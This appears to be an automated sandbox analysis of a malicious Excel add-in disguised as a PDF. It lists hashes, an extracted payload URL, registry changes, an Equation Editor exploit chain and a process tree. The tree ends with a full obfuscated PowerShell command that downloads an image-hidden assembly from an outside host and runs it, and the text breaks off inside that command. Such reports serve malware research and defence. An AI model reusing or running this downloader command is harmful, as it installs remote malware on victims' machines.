Analysis
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max time kernel
151s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
20/09/2023, 17:02
Static task
static1
Behavioral task
behavioral1
Sample
IDEOC2308-088562.pdf.xlam
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
IDEOC2308-088562.pdf.xlam
Resource
win10v2004-20230915-en
General
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Target
IDEOC2308-088562.pdf.xlam
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Size
596KB
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MD5
8cd14d38da24b08fd6fbba6c49120146
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SHA1
a1022f005018e73eee75ecaac209c1ab6f488763
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SHA256
3b1a9c9358e4e0a6106b1176634969d6e3372cfa1e8956bee66ea90c02e2b65d
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SHA512
f540340ebe227346c70469f2e80860a2a7daefcb66e2a3713a158a6fe8c5ca1154154b0a6212996a78a78935a1a9b4b462abc722563649c58c3ef544aa57e47d
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SSDEEP
12288:cSyr5u+ZvX3bgpCUuLqBN9PbyGRdFfF0ismqhZYpGmTpz:ZELvneHFRGGfF90isp4Tpz
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/613/515/original/rump_vbs_antivm.jpg?1695147255
https://uploaddeimagens.com.br/images/004/613/515/original/rump_vbs_antivm.jpg?1695147255
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 3 2280 EQNEDT32.EXE 6 2516 powershell.exe 8 2516 powershell.exe 10 2516 powershell.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 2280 EQNEDT32.EXE -
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2040 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2628 powershell.exe 2516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2628 powershell.exe Token: SeDebugPrivilege 2516 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2040 EXCEL.EXE 2040 EXCEL.EXE 2040 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2280 wrote to memory of 2624 2280 EQNEDT32.EXE 29 PID 2280 wrote to memory of 2624 2280 EQNEDT32.EXE 29 PID 2280 wrote to memory of 2624 2280 EQNEDT32.EXE 29 PID 2280 wrote to memory of 2624 2280 EQNEDT32.EXE 29 PID 2624 wrote to memory of 2628 2624 WScript.exe 31 PID 2624 wrote to memory of 2628 2624 WScript.exe 31 PID 2624 wrote to memory of 2628 2624 WScript.exe 31 PID 2624 wrote to memory of 2628 2624 WScript.exe 31 PID 2628 wrote to memory of 2516 2628 powershell.exe 33 PID 2628 wrote to memory of 2516 2628 powershell.exe 33 PID 2628 wrote to memory of 2516 2628 powershell.exe 33 PID 2628 wrote to memory of 2516 2628 powershell.exe 33
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\IDEOC2308-088562.pdf.xlam1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2040
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C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\droooogdddevenin.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Mw◀▶v◀▶DU◀▶MQ◀▶1◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶F8◀▶YQBu◀▶HQ◀▶aQB2◀▶G0◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DU◀▶MQ◀▶0◀▶Dc◀▶Mg◀▶1◀▶DU◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶WwBv◀▶GI◀▶agBl◀▶GM◀▶d◀▶Bb◀▶F0◀▶XQ◀▶g◀▶Cg◀▶JwB0◀▶Hg◀▶d◀▶◀▶u◀▶DQ◀▶NgBl◀▶HM◀▶YQBi◀▶GU◀▶b◀▶Bp◀▶GY◀▶Z◀▶Bl◀▶G0◀▶bQBh◀▶Gg◀▶bwBt◀▶C8◀▶Mw◀▶2◀▶C4◀▶Mw◀▶z◀▶C4◀▶Mg◀▶0◀▶C4◀▶Mw◀▶5◀▶DE◀▶Lw◀▶v◀▶Do◀▶c◀▶B0◀▶HQ◀▶a◀